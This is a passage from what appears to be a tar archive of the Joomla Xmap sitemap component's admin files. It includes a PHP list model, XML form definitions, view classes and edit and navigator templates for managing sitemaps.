     * @param    array    An optional associative array of configuration settings.
     * @see      JController
     * @since    1.6
     */
    public function __construct($config = array())
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = array(
                'id', 'a.id',
                'title', 'a.title',
                'alias', 'a.alias',
                'checked_out', 'a.checked_out',
                'checked_out_time', 'a.checked_out_time',
                'catid', 'a.catid', 'category_title',
                'state', 'a.state',
                'access', 'a.access', 'access_level',
                'created', 'a.created',
                'created_by', 'a.created_by',
                'ordering', 'a.ordering',
                'featured', 'a.featured',
                'language', 'a.language',
                'hits', 'a.hits',
                'publish_up', 'a.publish_up',
                'publish_down', 'a.publish_down',
            );
        }

        parent::__construct($config);
    }

    /**
     * Method to auto-populate the model state.
     *
     * @since       2.0
     */
    protected function populateState($ordering = null, $direction = null)
    {
        // Adjust the context to support modal layouts.
        if ($layout = JRequest::getVar('layout')) {
            $this->context .= '.'.$layout;
        }

        $access = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', 0, 'int');
        $this->setState('filter.access', $access);

        $published = $this->getUserStateFromRequest($this->context.'.filter.published', 'filter_published', '');
        $this->setState('filter.published', $published);

        $search = $this->getUserStateFromRequest($this->context.'.filter.search', 'filter_search');
        $this->setState('filter.search', $search);

        // List state information.
        parent::populateState('a.title', 'asc');
    }

    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string      $id A prefix for the store id.
     *
     * @return  string      A store id.
     */
    protected function getStoreId($id = '')
    {
        // Compile the store id.
        $id .= ':'.$this->getState('filter.search');
        $id .= ':'.$this->getState('filter.access');
        $id .= ':'.$this->getState('filter.published');

        return parent::getStoreId($id);
    }

    /**
     * @param       boolean True to join selected foreign information
     *
     * @return      string
     */
    protected function getListQuery($resolveFKs = true)
    {
        $db     = $this->getDbo();
        // Create a new query object.
        $query = $db->getQuery(true);

        // Select the required fields from the table.
        $query->select(
                $this->getState(
                          'list.select',
                          'a.*')
        );
        $query->from('#__xmap_sitemap AS a');

        // Join over the asset groups.
        $query->select('ag.title AS access_level');
        $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');

        // Filter by access level.
        if ($access = $this->getState('filter.access')) {
            $query->where('a.access = ' . (int) $access);
        }

        // Filter by published state
        $published = $this->getState('filter.published');
        if (is_numeric($published)) {
            $query->where('a.state = ' . (int) $published);
        } else if ($published === '') {
            $query->where('(a.state = 0 OR a.state = 1)');
        }

        // Filter by search in title.
        $search = $this->getState('filter.search');
        if (!empty($search)) {
            if (stripos($search, 'id:') === 0) {
                $query->where('a.id = '.(int) substr($search, 3));
            }
            else {
                $search = $db->Quote('%'.$db->escape($search, true).'%');
                $query->where('(a.title LIKE '.$search.' OR a.alias LIKE '.$search.')');
            }
        }

        // Add the list ordering clause.
        $query->order($db->escape($this->state->get('list.ordering', 'a.title')) . ' ' . $db->escape($this->state->get('list.direction', 'ASC')));
        //echo nl2br(str_replace('#__','jos_',$query));
        return $query;
    }

    public function getExtensionsMessage()
    {
        $db    = $this->getDbo();
        $query = $db->getQuery(true);
        $query->select('e.*');
        $query->from($db->quoteName('#__extensions'). 'AS e');
        $query->join('INNER', '#__extensions AS p ON e.element=p.element and p.enabled=0 and p.type=\'plugin\' and p.folder=\'xmap\'');
        $query->where('e.type=\'component\' and e.enabled=1');

        $db->setQuery($query);
        $extensions = $db->loadObjectList();
        if ( count($extensions) ) {
            $sep = $extensionsNameList = '';
            foreach ($extensions as $extension) {
                $extensionsNameList .= "$sep$extension->element";
                $sep = ', ';
            }

            return JText::sprintf('XMAP_MESSAGE_EXTENSIONS_DISABLED',$extensionsNameList);
        } else {
            return "";
        }
    }

}
com_xmap/models/forms/sitemap.xml000060400000023173152455305320013152 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- $Id$ -->
<form>
    <fields addpath="administrator/components/com_xmap/elements">
        <field
            id="id"
            name="id"
            type="hidden"
            label="XMAP_ID_LABEL"
            size="10"
            default="0"
            required="true"
            readonly="true"/>

        <field
            id="title"
            name="title"
            type="text"
            label="JGLOBAL_TITLE"
            description="JFIELD_TITLE_DESC"
            class="inputbox input-xlarge"
            labelclass="control-label"
            size="30"
            required="true" />

        <field
            id="alias"
            name="alias"
            type="text"
            label="JFIELD_ALIAS_LABEL"
            description="JFIELD_ALIAS_DESC"
            class="inputbox"
            labelclass="control-label"
            size="30"
            default=""/>

        <field
            id="introtext"
            name="introtext"
            type="editor"
            class="inputbox"
            labelclass="control-label"
            label="XMAP_INTROTEXT_LABEL"
            description="XMAP_INTROTEXT_DESC"
            filter="safehtml"
            default=""/>

        <field
            id="is_default"
            name="is_default"
            type="hidden"
            class="inputbox"
            size="1"
            default="0" />

        <field
            id="state"
            name="state"
            type="list"
            label="JSTATUS"
            description="JFIELD_PUBLISHED_DESC"
            class="inputbox"
            labelclass="control-label"
            size="1"
            default="1">
            <option
                value="1">
                JPUBLISHED</option>
            <option
                value="0">
                JUNPUBLISHED</option>
        </field>

        <field
            id="created"
            name="created"
            type="calendar"
            label="XMAP_CREATED_LABEL"
            description="XMAP_CREATED_DESC"
            class="inputbox"
            labelclass="control-label"
            size="16"
            format="%Y-%m-%d %H-%M-%S" />

        <field
            id="access"
            name="access"
            type="accesslevel"
            label="JFIELD_ACCESS_LABEL"
            description="JFIELD_ACCESS_DESC"
            class="inputbox"
            labelclass="control-label"
            size="1" />

        <field
            id="count_html"
            name="hits"
            type="text"
            label="XMAP_HITSHTML_LABEL"
            description="XMAP_HITS_DESC"
            class="readonly"
            labelclass="control-label"
            size="6"
            readonly="true"
            filter="unset"/>

        <field
            id="count_xml"
            name="hits"
            type="text"
            label="XMAP_HITSXML_LABEL"
            description="XMAP_HITS_DESC"
            class="readonly"
            labelclass="control-label"
            size="6"
            readonly="true"
            filter="unset"/>

        <field
            id="visits_html"
            name="visits_html"
            type="text"
            label="XMAP_VISITSHTML_LABEL"
            description="XMAP_HITS_DESC"
            class="readonly"
            labelclass="control-label"
            size="6"
            readonly="true"
            filter="unset"/>

        <field
            id="visits_xml"
            name="visits_xml"
            type="text"
            label="XMAP_VISITSXML_LABEL"
            description="XMAP_HITS_DESC"
            class="readonly"
            labelclass="control-label"
            size="6"
            readonly="true"
            filter="unset"/>

        <field
            id="selections"
            name="selections"
            type="xmapmenus"
            label="XMAP_MENUASSIGMENT_LABEL"
            description="XMAP_MENUASSIGMENT_DESC"
            class="inputbox"
            labelclass="control-label"
            multiple="multiple"
            array="true"
            size="5"/>

        <field
            id="selections_priority"
            name="selections_priority"
            type="hidden"
            class="inputbox"
            labelclass="control-label"
            multiple="multiple"
            size="5"/>

        <field
            id="selections_changefreq"
            name="selections_changefreq"
            type="hidden"
            class="inputbox"
            labelclass="control-label"
            multiple="multiple"
            size="5"/>
    </fields>

    <fields name="attribs">
        <fieldset name="general" label="XMAP_FIELDSET_OPTIONS">

            <field
                name="showintro"
                type="radio"
                class="btn-group"
                labelclass="control-label"
                label="XMAP_ATTRIBS_SHOW_INTRO_LABEL"
                description="XMAP_ATTRIBS_SHOW_INTRO_DESC"
                default="1">
                <option
                    value="0">JNO</option>
                <option
                    value="1">JYES</option>
            </field>

            <field
                name="show_menutitle"
                type="radio"
                class="btn-group"
                label="XMAP_ATTRIBS_SHOW_MENU_TITLE_LABEL"
                description="XMAP_ATTRIBS_SHOW_MENU_TITLE_DESC"
                labelclass="control-label"
                default="1">
                <option
                    value="0">JNO</option>
                <option
                    value="1">JYES</option>
            </field>

            <field
                name="classname"
                type="text"
                default=""
                label="XMAP_ATTRIBS_CLASSNAME_LABEL"
                labelclass="control-label"
                description="XMAP_ATTRIBS_CLASSNAME_DESC" />

            <field
                name="columns"
                type="text"
                default=""
                labelclass="control-label"
                label="XMAP_ATTRIBS_COLUMNS_LABEL"
                description="XMAP_ATTRIBS_COLUMNS_DESC" />

            <field
                name="exlinks"
                type="radio"
                class="btn-group"
                labelclass="control-label"
                label="XMAP_ATTRIBS_EXTERNAL_LINKS_LABEL"
                description="XMAP_ATTRIBS_EXTERNAL_LINKS_DESC"
                default="1">
                <option
                    value="0">JNO</option>
                <option
                    value="1">JYES</option>
            </field>

            <field
                name="exlinks"
                type="list"
                label="XMAP_ATTRIBS_EXTERNAL_LINKS_IMAGE_LABEL"
                description="XMAP_ATTRIBS_EXTERNAL_LINKS_IMAGE_DESC"
                labelclass="control-label"
                default="1">
                <option
                    value="img_blue.gif">img_blue.gif</option>
                <option
                    value="img_green.gif">img_green.gif</option>
                <option
                    value="img_grey.gif">img_grey.gif</option>
                <option
                    value="img_orange.gif">img_orange.gif</option>
                <option
                    value="img_red.gif">img_red.gif</option>
                <option
                    value="txt_blue.gif">txt_blue.gif</option>
                <option
                    value="txt_green.gif">txt_green.gif</option>
                <option
                    value="txt_grey.gif">txt_grey.gif</option>
                <option
                    value="txt_orange.gif">txt_orange.gif</option>
                <option
                    value="txt_red.gif">txt_red.gif</option>
            </field>

            <field
                name="compress_xml"
                type="radio"
                class="btn-group"
                label="XMAP_ATTRIBS_COMPRESS_XML_LABEL"
                description="XMAP_ATTRIBS_COMPRESS_XML_DESC"
                labelclass="control-label"
                default="1">
                <option
                    value="0">JNO</option>
                <option
                    value="1">JYES</option>
            </field>

            <field
                name="beautify_xml"
                type="radio"
                class="btn-group"
                label="XMAP_ATTRIBS_BEAUTIFY_XML_LABEL"
                description="XMAP_ATTRIBS_BEAUTIFY_XML_DESC"
                labelclass="control-label"
                default="1">
                <option
                    value="0">JNO</option>
                <option
                    value="1">JYES</option>
            </field>

            <field
                name="include_link"
                type="radio"
                class="btn-group"
                label="XMAP_ATTRIBS_INCLUDE_LINK_LABEL"
                description="XMAP_ATTRIBS_INCLUDE_LINK_DESC"
                labelclass="control-label"
                default="1">
                <option
                    value="0">JNO</option>
                <option
                    value="1">JYES</option>
            </field>
        </fieldset>

        <fieldset name="news" label="XMAP_FIELDSET_NEWS_OPTIONS">
          <field
              name="news_publication_name"
              type="text"
              default=""
              labelclass="control-label"
              label="XMAP_ATTRIBS_NEWS_PUBLICATION_NAME_LABEL"
              description="XMAP_ATTRIBS_NEWS_PUBLICATION_NAME_DESC" />
<!--
          <field
              name="news_posts_keywords"
              type="text"
              default=""
              label="XMAP_ATTRIBS_NEWS_POSTS_KEYWORDS_LABEL"
              description="XMAP_ATTRIBS_NEWS_POSTS_KEYWORDS_DESC" />
-->
        </fieldset>
    </fields>

</form>
com_xmap/models/forms/extension.xml000060400000002766152455305320013531 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- $Id$ -->
<form>
    <fieldset addpath="administrator/components/com_xmap/elements">

        <field
            name="extension_id"
            label="JGLOBAL_FIELD_ID_LABEL"
            description ="JGLOBAL_FIELD_ID_DESC"
            type="text"
            default="0"
            required="true"
            readonly="true"
            class="readonly" />

        <field
            id="name"
            name="name"
            type="text"
            label="JGLOBAL_TITLE"
            description="JFIELD_TITLE_DESC"
            class="inputbox"
            size="29"
            required="true" />

        <field
            name="enabled"
            type="list"
            label="JFIELD_PUBLISHED_LABEL"
            description="JFIELD_PUBLISHED_DESC"
            default="1">
            <option
                value="0">JNO</option>
            <option
                value="1">Yes</option>
        </field>
        
        <field
            name="folder"
            type="hidden"
            class="readonly"
            size="20"
            label="COM_PLUGINS_FIELD_FOLDER_LABEL"
            description="COM_PLUGINS_FIELD_FOLDER_DESC"
            readonly="true" />

        <field
            name="element"
            type="hidden"
            class="readonly"
            size="20"
            label="COM_PLUGINS_FIELD_ELEMENT_LABEL"
            description="COM_PLUGINS_FIELD_ELEMENT_DESC"
            readonly="true" />
        
    </fieldset>
</form>
com_xmap/models/forms/index.html000060400000000036152455305320012754 0ustar00<!DOCTYPE html><title></title>com_xmap/views/sitemap/index.html000060400000000036152455305320013142 0ustar00<!DOCTYPE html><title></title>com_xmap/views/sitemap/view.html.php000060400000014126152455305320013600 0ustar00<?php
/**
 * @version             $Id$
 * @copyright           Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */
// no direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.view');

# For compatibility with older versions of Joola 2.5
if (!class_exists('JViewLegacy')){
    class JViewLegacy extends JView {

    }
}

/**
 * @package    Xmap
 * @subpackage com_xmap
 */
class XmapViewSitemap extends JViewLegacy
{

    protected $item;
    protected $list;
    protected $form;
    protected $state;

    /**
     * Display the view
     *
     * @access    public
     */
    function display($tpl = null)
    {
        $app = JFactory::getApplication();
        $this->state = $this->get('State');
        $this->item = $this->get('Item');
        $this->form = $this->get('Form');

        $version = new JVersion;

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            JError::raiseError(500, implode("\n", $errors));
            return false;
        }

        JHTML::stylesheet('administrator/components/com_xmap/css/xmap.css');
        // Convert dates from UTC
        $offset = $app->getCfg('offset');
        if (intval($this->item->created)) {
            $this->item->created = JHtml::date($this->item->created, '%Y-%m-%d %H-%M-%S', $offset);
        }

        $this->_setToolbar();

        if (version_compare($version->getShortVersion(), '3.0.0', '<')) {
            $tpl = 'legacy';
        }
        parent::display($tpl);
        JRequest::setVar('hidemainmenu', true);
    }

    /**
     * Display the view
     *
     * @access    public
     */
    function navigator($tpl = null)
    {
        require_once(JPATH_COMPONENT_SITE . '/helpers/xmap.php');
        $app = JFactory::getApplication();
        $this->state = $this->get('State');
        $this->item = $this->get('Item');

        # $menuItems = XmapHelper::getMenuItems($item->selections);
        # $extensions = XmapHelper::getExtensions();
        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            JError::raiseError(500, implode("\n", $errors));
            return false;
        }

        JHTML::script('mootree.js', 'media/system/js/');
        JHTML::stylesheet('mootree.css', 'media/system/css/');

        $this->loadTemplate('class');
        $displayer = new XmapNavigatorDisplayer($state->params, $this->item);

        parent::display($tpl);
    }

    function navigatorLinks($tpl = null)
    {

        require_once(JPATH_COMPONENT_SITE . '/helpers/xmap.php');
        $link = urldecode(JRequest::getVar('link', ''));
        $name = JRequest::getCmd('e_name', '');
        $Itemid = JRequest::getInt('Itemid');

        $this->item = $this->get('Item');
        $this->state = $this->get('State');
        $menuItems = XmapHelper::getMenuItems($item->selections);
        $extensions = XmapHelper::getExtensions();

        $this->loadTemplate('class');
        $nav = new XmapNavigatorDisplayer($state->params, $item);
        $nav->setExtensions($extensions);

        $this->list = array();
        // Show the menu list
        if (!$link && !$Itemid) {
            foreach ($menuItems as $menutype => &$menu) {
                $menu = new stdclass();
                #$menu->id = 0;
                #$menu->menutype = $menutype;

                $node = new stdClass;
                $node->uid = "menu-" . $menutype;
                $node->menutype = $menutype;
                $node->ordering = $item->selections->$menutype->ordering;
                $node->priority = $item->selections->$menutype->priority;
                $node->changefreq = $item->selections->$menutype->changefreq;
                $node->browserNav = 3;
                $node->type = 'separator';
                if (!$node->name = $nav->getMenuTitle($menutype, @$menu->module)) {
                    $node->name = $menutype;
                }
                $node->link = '-menu-' . $menutype;
                $node->expandible = true;
                $node->selectable = false;
                //$node->name = $this->getMenuTitle($menutype,@$menu->module);    // get the mod_mainmenu title from modules table

                $this->list[] = $node;
            }
        } else {
            $parent = new stdClass;
            if ($Itemid) {
                // Expand a menu Item
                $items = &JSite::getMenu();
                $node = & $items->getItem($Itemid);
                if (isset($menuItems[$node->menutype])) {
                    $parent->name = $node->title;
                    $parent->id = $node->id;
                    $parent->uid = 'itemid' . $node->id;
                    $parent->link = $link;
                    $parent->type = $node->type;
                    $parent->browserNav = $node->browserNav;
                    $parent->priority = $item->selections->{$node->menutype}->priority;
                    $parent->changefreq = $item->selections->{$node->menutype}->changefreq;
                    $parent->menutype = $node->menutype;
                    $parent->selectable = false;
                    $parent->expandible = true;
                }
            } else {
                $parent->id = 1;
                $parent->link = $link;
            }
            $this->list = $nav->expandLink($parent);
        }

        parent::display('links');
        exit;
    }

    /**
     * Display the toolbar
     *
     * @access    private
     */
    function _setToolbar()
    {
        $user = JFactory::getUser();
        $isNew = ($this->item->id == 0);

        JToolBarHelper::title(JText::_('XMAP_PAGE_' . ($isNew ? 'ADD_SITEMAP' : 'EDIT_SITEMAP')), 'article-add.png');

        JToolBarHelper::apply('sitemap.apply', 'JTOOLBAR_APPLY');
        JToolBarHelper::save('sitemap.save', 'JTOOLBAR_SAVE');
        JToolBarHelper::save2new('sitemap.save2new');
        if (!$isNew) {
            JToolBarHelper::save2copy('sitemap.save2copy');
        }
        JToolBarHelper::cancel('sitemap.cancel', 'JTOOLBAR_CLOSE');
    }

}
com_xmap/views/sitemap/tmpl/edit_legacy.php000060400000006324152455305320015111 0ustar00<?php
/**
 * @version          $Id$
 * @copyright        Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license          GNU General Public License version 2 or later; see LICENSE.txt
 * @author           Guillermo Vargas (guille@vargas.co.cr)
 */
defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

jimport('joomla.html.pane');

// Load the tooltip behavior.
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
?>
<script type="text/javascript">
<!--
    function submitbutton(task)
    {
        if (task == 'sitemap.cancel' || document.formvalidator.isValid($('adminForm'))) {
            submitform(task);
        }
    }
// -->
</script>

<form action="<?php echo JRoute::_('index.php?option=com_xmap&layout=edit&id='.$this->item->id); ?>" method="post" name="adminForm" id="adminForm" class="form-validate">

    <div class="width-60 fltlft">
        <fieldset class="adminform">
            <?php echo $this->form->getLabel('id'); ?>
            <?php echo $this->form->getInput('id'); ?>

            <?php echo $this->form->getLabel('title'); ?>
            <?php echo $this->form->getInput('title'); ?>

            <?php echo $this->form->getLabel('alias'); ?>
            <?php echo $this->form->getInput('alias'); ?>

            <?php echo $this->form->getLabel('state'); ?>
            <?php echo $this->form->getInput('state'); ?>

            <?php echo $this->form->getLabel('access'); ?>
            <?php echo $this->form->getInput('access'); ?>

            <div class="clr"></div>
            <?php echo $this->form->getLabel('introtext'); ?><br />
            <div class="clr"></div>
            <?php echo $this->form->getInput('introtext'); ?>
        </fieldset>
    </div>

    <div class="width-40" style="float:left">
        <?php echo JHtml::_('sliders.start', 'xmap-sliders-' . $this->item->id, array('useCookie' => 1)); ?>
        <?php echo JHtml::_('sliders.panel', JText::_('XMAP_FIELDSET_MENUS'), 'menus-details'); ?>
        <?php echo $this->form->getInput('selections'); ?>
        <?php
            $fieldSets = $this->form->getFieldsets('attribs');
            foreach ($fieldSets as $name => $fieldSet) :
                echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name . '-options');
                if (isset($fieldSet->description) && trim($fieldSet->description)) :
                    echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
                endif;
        ?>
                <fieldset class="panelform">
                    <ul class="adminformlist">
                    <?php foreach ($this->form->getFieldset($name) as $field) : ?>
                        <li>
                            <?php echo $field->label; ?>
                            <?php echo $field->input; ?>
                        </li>
                    <?php endforeach; ?>
                    </ul>
                </fieldset>
        <?php endforeach; ?>

        <?php echo JHtml::_('sliders.end'); ?>
    </div>

    <input type="hidden" name="task" value="" />
    <?php echo $this->form->getInput('is_default'); ?>
    <?php echo JHtml::_('form.token'); ?>
</form>
<div class="clr"></div>
com_xmap/views/sitemap/tmpl/navigator.php000060400000007537152455305320014641 0ustar00<?php
/**
 * @version             $Id$
 * @copyright        Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

defined('_JEXEC') or die;

$name = JRequest::getCmd('e_name');

$doc =& JFactory::getDocument();
$doc->addScriptDeclaration('
    var tree;
    var autotext = \'\';
    insertLink = function (){
        var link = $(\'f_link\').get(\'value\');
        var text = $(\'f_text\').get(\'value\');
        var title = $(\'f_title\').get(\'value\');
        var cssstyle = $(\'f_cssstyle\').get(\'value\');
        var cssclass = $(\'f_cssclass\').get(\'value\');
        if (link != \'\' && text != \'\') {
            var extra =\'\';
            if (title != \'\') {
                extra = extra + \' title=\'+title.replace(\'"\',\'&quot;\')+\'"\';
            }
            if (cssclass != \'\') {
                extra = extra + \' class=\'+cssclass.replace(\'"\',\'&quot;\')+\'"\';
            }
            if (cssstyle != \'\') {
                extra = extra + \' style=\'+cssstyle.replace(\'"\',\'&quot;\')+\'"\';
            }
            var tag = "<a href=\""+link+"\" "+extra+">"+text+"</a>";
            window.parent.jInsertEditorText(tag, "'.htmlspecialchars($name).'");
        }
        window.parent.SqueezeBox.close();
    };
    window.addEvent("domready",function(){
        tree =  new MooTreeControl({ 
        div: \'xmap-nav_tree\', 
        mode: \'files\',
        grid: true,
        theme: \'../media/media/images/mootree.gif\',
        onSelect: function (node,state) {
            if (typeof node.data.link != \'undefined\' && node.data.selectable == \'true\') {
                document.adminForm.link.value = node.data.link;
                if (document.adminForm.text.value == autotext ) {
                    document.adminForm.text.value = node.text;
                    autotext =  node.text;
                }
            }
        }
    },{
        text: \'Home\',
        open: true
    });
    tree.root.load(\'index.php?option=com_xmap&task=navigator-links&sitemap='.$this->item->id.'&e_name='.$name.'&tmpl=component\');
    });
    ');
?>
<div id="xmap-nav_tree" style="height:250px;overflow:auto;border:1px solid #CCC;"></div>
    <div id="xmap-nav_linkinfo" style="margin-top:3px;border:1px solid #CCC;height:120px;">
        <form name="adminForm" action="#" onSubmit="return false;">
        <table width="100%">
            <tr>
                <td><?php echo JText::_('Xmap_Link_Text'); ?></td>
                <td colspan="3"><input type="text" name="text" id="f_text" value="" size="30" /></td>
            </tr>
            <tr>
                <td><?php echo JText::_('Xmap_Link_Title'); ?></td>
                <td colspan="3"><input type="text" name="title" id="f_title"  value="" size="30" /></td>
            </tr>
            <tr>
                <td><?php echo JText::_('Xmap_Link_Link'); ?></td>
                <td colspan="3"><input type="text" name="link" id="f_link"  value="" size="50" /></td>
            </tr>
            <tr>
                <td><?php echo JText::_('Xmap_Link_Style'); ?></td>
                <td><input type="text" name="cssstyle" id="f_cssstyle"  value="" /></td>
                <td><?php echo JText::_('Xmap_Link_Class'); ?></td>
                <td><input type="text" name="cssclass" id="f_cssclass"  value="" /></td>
            </tr>
            <tr>
                <td colspan="4" align="right">
                    <button name="cssstyle" id="f_cssstyle" onclick="insertLink();"><?php echo JText::_('OK'); ?></button> 
                    <button name="cssstyle" id="f_cssstyle" onclick="window.parent.SqueezeBox.close();"><?php echo JText::_('Cancel'); ?></button>
                </td>
           </tr>
        </table>
    </form>
</div>
<ul id="xmap-nav"></ul>
com_xmap/views/sitemap/tmpl/edit.php000060400000012250152455305320013560 0ustar00<?php
/**
 * @version          $Id$
 * @copyright        Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license          GNU General Public License version 2 or later; see LICENSE.txt
 * @author           Guillermo Vargas (guille@vargas.co.cr)
 */
defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

// Load the tooltip behavior.
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
if(version_compare(JVERSION,'3.0.0','ge')) {
    JHtml::_('formbehavior.chosen', 'select');
}
?>
<script type="text/javascript">
<!--
    function submitbutton(task)
    {
        if (task == 'sitemap.cancel' || document.formvalidator.isValid($('adminForm'))) {
            submitform(task);
        }
    }
// -->
</script>
<form action="<?php echo JRoute::_('index.php?option=com_xmap&layout=edit&id='.$this->item->id); ?>" method="post" name="adminForm" id="adminForm" class="form-validate">
    <div class="row-fluid">
        <!-- Begin Content -->
        <div class="span10 form-horizontal">
            <ul class="nav nav-tabs">
                <li class="active"><a href="#general" data-toggle="tab"><?php echo JText::_('XMAP_SITEMAP_DETAILS_FIELDSET');?></a></li>
                <li><a href="#attrib-menus" data-toggle="tab"><?php echo JText::_('XMAP_FIELDSET_MENUS');?></a></li>
                <?php
                $fieldSets = $this->form->getFieldsets('attribs');
                foreach ($fieldSets as $name => $fieldSet) :
                ?>
                <li><a href="#attrib-<?php echo $name;?>" data-toggle="tab"><?php echo JText::_($fieldSet->label);?></a></li>
                <?php
                endforeach;
                ?>
            </ul>

            <div class="tab-content">
                <div class="tab-pane active" id="general">
                    <div class="row-fluid">
                        <div class="span10">
                            <div class="control-group">
                                <?php echo $this->form->getLabel('title'); ?>
                                <div class="controls">
                                    <?php echo $this->form->getInput('title'); ?>
                                </div>
                            </div>
                            <div class="control-group">
                                <?php echo $this->form->getLabel('alias'); ?>
                                <div class="controls">
                                    <?php echo $this->form->getInput('alias'); ?>
                                </div>
                            </div>
                            <div class="control-group">
                                <?php echo $this->form->getLabel('state'); ?>
                                <div class="controls">
                                    <?php echo $this->form->getInput('state'); ?>
                                </div>
                            </div>
                            <div class="control-group">
                                <?php echo $this->form->getLabel('access'); ?>
                                <div class="controls">
                                    <?php echo $this->form->getInput('access'); ?>
                                </div>
                            </div>
                            <div class="control-group">
                                <div class="clr"></div>
                                <?php echo $this->form->getLabel('introtext'); ?><br />
                                <div class="clr"></div>
                                <div class="controls">
                                    <?php echo $this->form->getInput('introtext'); ?>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="tab-pane" id="attrib-menus">
                    <div style="width:500px">
                        <?php echo $this->form->getInput('selections'); ?>
                    </div>
                </div>
                <?php
                $fieldSets = $this->form->getFieldsets('attribs');
                foreach ($fieldSets as $name => $fieldSet) :
                ?>
                <div class="tab-pane" id="attrib-<?php echo $name;?>">
                    <?php
                    if (isset($fieldSet->description) && trim($fieldSet->description)) :
                        echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
                    endif;

                    foreach ($this->form->getFieldset($name) as $field) :
                    ?>
                    <div class="control-group">
                        <?php echo $field->label; ?>
                        <div class="controls">
                            <?php echo $field->input; ?>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </div>

    <input type="hidden" name="task" value="" />
    <?php echo $this->form->getInput('is_default'); ?>
    <?php echo JHtml::_('form.token'); ?>
</form>
<div class="clr"></div>
com_xmap/views/sitemap/tmpl/navigator_class.php000060400000010063152455305320016012 0ustar00<?php
/**
 * @version             $Id$
 * @copyright           Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

// No direct access
defined('_JEXEC') or die;

require_once(JPATH_COMPONENT_SITE.'/displayer.php');

class XmapNavigatorDisplayer extends XmapDisplayer {

    function __construct(&$config, &$sitemap) {
        $this->_list=array();
        $this->view='navigator';
    
        parent::__construct( $config, $sitemap);    
    }
    
    function printNode( &$node ) {
        if (!isset($node->selectable )) {
            $node->selectable=true;
        }
        // For extentions that doesn't set this property as this is new in Xmap 1.2.3
        if (!isset($node->expandible )) { 
            $node->expandible = true;
        }
        if ( empty($this->_list[$node->uid]) ) { // Avoid duplicated items
            $this->_list[$node->uid] = $node;
        }
        return false;
    }

    function &expandLink(&$parent)    {
        $items = &JSite::getMenu();
        $extensions = &$this->_extensions;
        $rows = null;
        if (strpos($parent->link,'-menu-') === 0 ) {
            $menutype = str_replace('-menu-','',$parent->link);
            // Get Menu Items
            $rows = $items->getItems('menutype', $menutype);
        } elseif ($parent->id) {
            $rows = $items->getItems('parent_id', $parent->id);
        }

        if ( $rows ) {
            foreach ($rows as $item) {
                if ($item->parent_id == $parent->id) {
                    $node = new stdclass;
                    $node->name = $item->title;
                    $node->id   = $item->id;
                    $node->uid  = 'itemid'.$item->id;
                    $node->link = $item->link;
                    $node->expandible = true;
                    $node->selectable=true;
                    // Prepare the node link
                    XmapHelper::prepareMenuItem($node);
                    if ( $item->home ) {
                        $node->link = JURI::root();
                    } elseif (substr($item->link,0,9) == 'index.php' && $item->type != 'url' ) {
                        if ($item->type == 'menulink') {// For Joomla 1.5 SEF compatibility
                            $params = new JParameter($item->params);
                            $node->link     = 'index.php?Itemid=' . $params->get('menu_item');
                        } elseif ( strpos($item->link,'Itemid=') === FALSE ){
                            $node->link     = 'index.php?Itemid=' . $node->id;
                        }
                    } elseif ($item->type == 'separator') {
                        $node->selectable=false;
                    }
                    $this->printNode($node);  // Add to the internal list
                }
            }

        }
        if ($parent->id) {
            $option = null;
            if ( preg_match('#^/?index.php.*option=(com_[^&]+)#',$parent->link,$matches) ) {
                $option = $matches[1];
            }
            $Itemid = JRequest::getInt('Itemid');
            if (!$option && $Itemid) {
                $item = $items->getItem($Itemid);
                $link_query = parse_url( $item->link );
                parse_str( html_entity_decode($link_query['query']), $link_vars);
                $option = JArrayHelper::getValue($link_vars,'option','');
                if ( $option ) {
                    $parent->link = $item->link;
                }
            }
            if ( $option ) {
                if ( !empty($extensions[$option]) ) {
                    $parent->uid = $option;
                    $className = 'xmap_'.$option;
                    $result = call_user_func_array(array($className, 'getTree'),array(&$this,&$parent,$extensions[$option]->params));
                }
            }
        }
        return $this->_list;;
    }

    function &getParam($arr, $name, $def) {
        $var = JArrayHelper::getValue( $arr, $name, $def, '' );
        return $var;
    }
}
com_xmap/views/sitemap/tmpl/index.html000060400000000036152455305320014116 0ustar00<!DOCTYPE html><title></title>com_xmap/views/sitemap/tmpl/navigator_links.php000060400000002051152455305320016023 0ustar00<?php
/**
 * @version          $Id$
 * @copyright        Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license          GNU General Public License version 2 or later; see LICENSE.txt
 * @author           Guillermo Vargas (guille@vargas.co.cr)
 */

defined('_JEXEC') or die;

header('Content-type: text/xml');

$name = JRequest::getCmd('e_name');
?>
<?xml version="1.0" encoding="UTF-8" ?>
<nodes>
<?php foreach ($this->list as $node) {
